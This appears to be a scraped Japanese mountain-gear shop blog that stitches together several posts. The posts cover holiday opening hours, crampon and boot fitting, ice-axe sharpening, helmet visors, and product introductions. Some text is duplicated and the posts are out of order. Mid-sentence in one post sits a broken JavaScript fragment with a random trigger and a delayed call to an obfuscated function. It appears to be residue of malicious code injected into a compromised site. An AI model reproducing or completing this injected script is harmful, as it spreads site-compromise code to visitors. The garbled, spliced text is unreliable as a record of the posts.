今年は流行病で大変な年となりましたが、どーにかこーにか2020年も終わらせることが出来そーです。
で、デナリさん『年末年始の営業日程のお知らせ』でございます。


実店舗は12/26(土)19:00閉店の変則営業です。ネットショップは12/26(土)15:00迄のカード・代引きでのご注文は当日対応いたします。
まだまだコロナ渦も収まりそーもありませんが、静かな年末年始を過ごせるのもこーゆー時しかないかもしれませんので、満喫しましょう!!。

山の店デナリのスタッフが綴るブログです
今年は流行病で大変な年となりましたが、どーにかこーにか2020年も終わらせることが出来そーです。
で、デナリさん『年末年始の営業日程のお知らせ』でございます。


実店舗は12/26(土)19:00閉店の変則営業です。ネットショップは12/26(土)15:00迄のカード・代引きでのご注文は当日対応いたします。
まだまだコロナ渦も収まりそーもありませんが、静かな年末年始を過ごせるのもこーゆー時しかないかもしれませんので、満喫しましょう!!。
で、お次の方はKayLandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andのICE DRAGON(アイスドラゴン)+GRIVEL RACING CRAMPON (2019)(レーシングクランポン 2019)。

で、更にお次の方はSCARPA REBEL ICE(レベルアイス)+Black Diamond RAPTOR CRAMPON(ラプタークランポン)組合わせ。

慣れている作業ですが、分解してネジ穴拡張、ネジ類の入れ替えなどヤルことはいっぱいあります。

ササッと完成!。

マニアックな並びなので、皆さんで記念写真を撮りましょう!。

フルートブーツの組み上げをまとめて。

お一人目の方はSCARPA REBEL ICE(レベルアイス)+GRIVEL RACING CRAMPON (2019)(レーシングクランポン 2019)の組合わせ。

で、すんなり進むハズが、G社付属のネジがクソ過ぎる・・・。大抵の靴はM5の首下14mmなんて入れたら、足ツボマット状態です。おまけにもならない。

こーして、色々な種類・サイズのネジ在庫が増えてしまうのです(笑)。

で、ビルドして1人目の方、完成!。

まとまっているC社からやろう。

1名様。



次の方。


で、送られてきたG社のICE VARIO(アイスバリオ)をやります。

未使用のよーですが、デフォルトで片方先端欠落してます・・・。型出しする時とか気を遣わないのか?。

鋳型違いかどーかは知りませんが、峰の厚みも形も違うじゃねーか!!。


こーゆークオリティーは日本人にはなかなか理解できません。とは言え、同じよーな形に削ってしまえばイイので最近は諦めモード(笑)。

ハイ、完成!!。しかし、無い部分は削れないのでこのままでは先端に差がついちゃいます。

勿論、出来る範囲で先端を出していくので、結果、こんな感じで仕上がりです。

毎年早々に完売するアイテムが入荷です。
■climbing technology「NORTH COULOIR (Adze or Hammer)」¥25,000+税
長さ/50cm
重量/540g(アッズ)、560g(ハンマー)
ミニマム重量/460g
攻撃的で特に男性に好まれるアックスです。
各種ピックも入荷してきています。
■climbing technology「ミックスピック(Type2)」¥5,200+税
■climbing technology「アイスピック(Type1)」¥5,200+税
CTの人気ピッケル「ハウンド プラス」は早々に売り切れとなりましたが、明日再入荷となります!
■climbing technology「ハウンド プラス」¥15,000+税
CTは強度がありつつ軽量な六角形シャフトがいいですね。

アイス用クランポンも在庫あります!
■climbing technology「ハイパースパイク」¥26,000+税
ノルウェーのアクリマというブランドの商品を紹介します。

紹介するのは有りそうで無かった構造の2つの商品。
まずはバラクラバ。

ダブルウールという、ウールネットカテゴリとワームウールカテゴリのハイブリッドシリーズ。
外側/メリノウール100%(WARM WOOL)
肌側/メリノウール80%、ポリアミド20% (WOOL NET)
肌側がネット状になったの2層シリーズのバラクラバになります。

■ACLIMA「DOUBLWOOL BALACLAVA」¥6,500+税
重量/110g
サイズ/ワンサイズ
汗処理をうまくしてドライ感がありながら、空気の層もつくってくれて暖かいです。
鼻と口の部分はネットのみとなっていて呼吸が非常に楽な仕様に。

拡大するとこんな感じです。

首周り、胸上部までしっかりと長さがあるのも特徴のひとつでよりハードな山行で力発揮してくれます。
寒さに比較的弱い女性にもオススメです。
続きまして、グローブ。

ホットウールというシリーズ。
メリノウール65%、ポリエステル20%、ポリアミド15%のミックス。
■ACLIMA「HOTWOOL HEAVY LINER GLOVES」¥4,500+税
重量/25g
サイズ/XS、S、M、L
肌面が絶妙(短め)なパイル状になっている為、汗や水分を肌から離してくれます。

そして厚くもなく薄くもない絶妙なパイル長。

インナーグローブとして非常にいい厚みの為、レイヤリングと保温力のバランス◎。
手首部分もしっかりと長さがあるため、寒さを受けやすい場所のケアができます。

指先の仕様は◎とまでは言えませんが、ここは他が良いので次作に期待ということで。

アクリマはスポーツ以外に軍関連でも使用させていて海外での実績は高いブランドです。
今回紹介した、ダブルウール、ホットウール以外にも複数のタイプが出ています。

ネットショップはこちらからどうぞ!
アクティブインサレーションのおすすめ第2弾です!
アクティブインサレーションの位置付けはこちからご参照ください。
今回はアトムLTと厚みが近い、昨年モデルチェンジしたプロトンLTを紹介します。

厚みや重量は両者近いのですが、中綿量や素材が変わます。
アトムLTはメインCoreloft Compactが60g、サイドフリースでしたが、
プロトンLTはメインCoreloft Compactが80g、フード部分が60gとなります。
そして大きな違いはシェル素材。
アトムLTがTyono 20(nylon100%)。
プロトンLTがFortius Air 20(nylon84%、elastane16%)。
このプロトンの表素材は耐摩耗性が非常に高く、耐摩耗試験では業界基準の60倍以上の耐久性を示したようです。
また、アトムLTに使われているTyonoよりFortius Airの方が透湿性が高いようで、
より暖かいアトムLT、より丈夫で透湿性が高いプロトンLTという棲み分けとなります。
しかしながらサイドにフリース素材を使っているアトムLTの脇周り透湿性は高いです。
■ARC’TERYX「M’s PROTON LT HOODY」¥30,000+税
重量/375g
カラー/Crux

■ARC’TERYX「W’s PROTON LT HOODY」¥27,000+税
重量/320g
カラー/Rhapsody

M’s&W’s共にヘルメット対応フード。調整あり。

ハンドポケット、胸ポケット、裾調整有りです。

もちろん裏地はドープダイとなります。
アークテリクスは毎期色味やカラーテーマが大きく変わりますので、
今期気になるカラーは今期の内にどうぞ!
・ネットショップはこちらからどうぞ!
ザックなどと合わせてアークテリクス商品が合計50,000円(税込)を超えると、限定ホーローマグカップがもらえるキャンペーン中です!
人気キャンペーンですのでお早めにどうぞ!!
ヨレた名機からパーツ移植します。


ちなみに、1番重要なのはこの部分ね。

グルーをむしり取って準備完了!。

で、新機に穴開け。

メスネジの通称”金玉”にグルー充填。


組み上げて完成!


ちなみに、何故かは分かりませんが、この色しかバイザー付けたことがありません。
2020-21工場長日誌 023 – DENALI BLOG
2020-21工場長日誌 044-047 – DENALI BLOG
他にも2色ございます!、毎日こんな生活ですとタマには違う色で仕事がしたいのです!!。
メンテついでに新機導入もして頂いてありがたい限りです。

先ずはクランポン。




ハイ、完成。



続け様にアックスも行きたい所ですが、飛び込み依頼もある訳で、一旦「ヘルメットにバイザー」つけます。

物は最近来たアレです。

穴開けて・・・、

メスネジ固定して・・・、

ベースを貼付け・・・、

セット完了!。

被ってもらって記念写真!!。




再びメンテに戻り・・・、



完成しつつ・・・、

その間にまた増えたので、2人分まとめて完成・・・。


で、剥がれたソールの接着もしつつ・・・、

奮闘の日々はつづく。
「曲がったセカンド修正可能なら、他もメンテ」での依頼。

はぁ!?、こんなのかわいいモンです。


とりあえず、真っ直ぐにします。

で、フロントも。


因みに、大先生はこのよーに削っていますが、良くない削りの典型です!!。


明らかに「インテーパー」です!。

頭を落して▲を再形成。

両方やって完成。



で、アックスの方。



先端修正だけでもイイですが、職業ユーザーの場合割と厚目に削って欲しいリクエストが多いので、「厚み調整」したくなるのは職人の性。


で、少々厚みも落します。

中央が一般的なチューンドで左右が松原さんの。

道具のメンテは必要ですが、向かない方はご依頼下さい。山登りも同様、ヤバそーな感じならその道に長けている人にご相談を!!。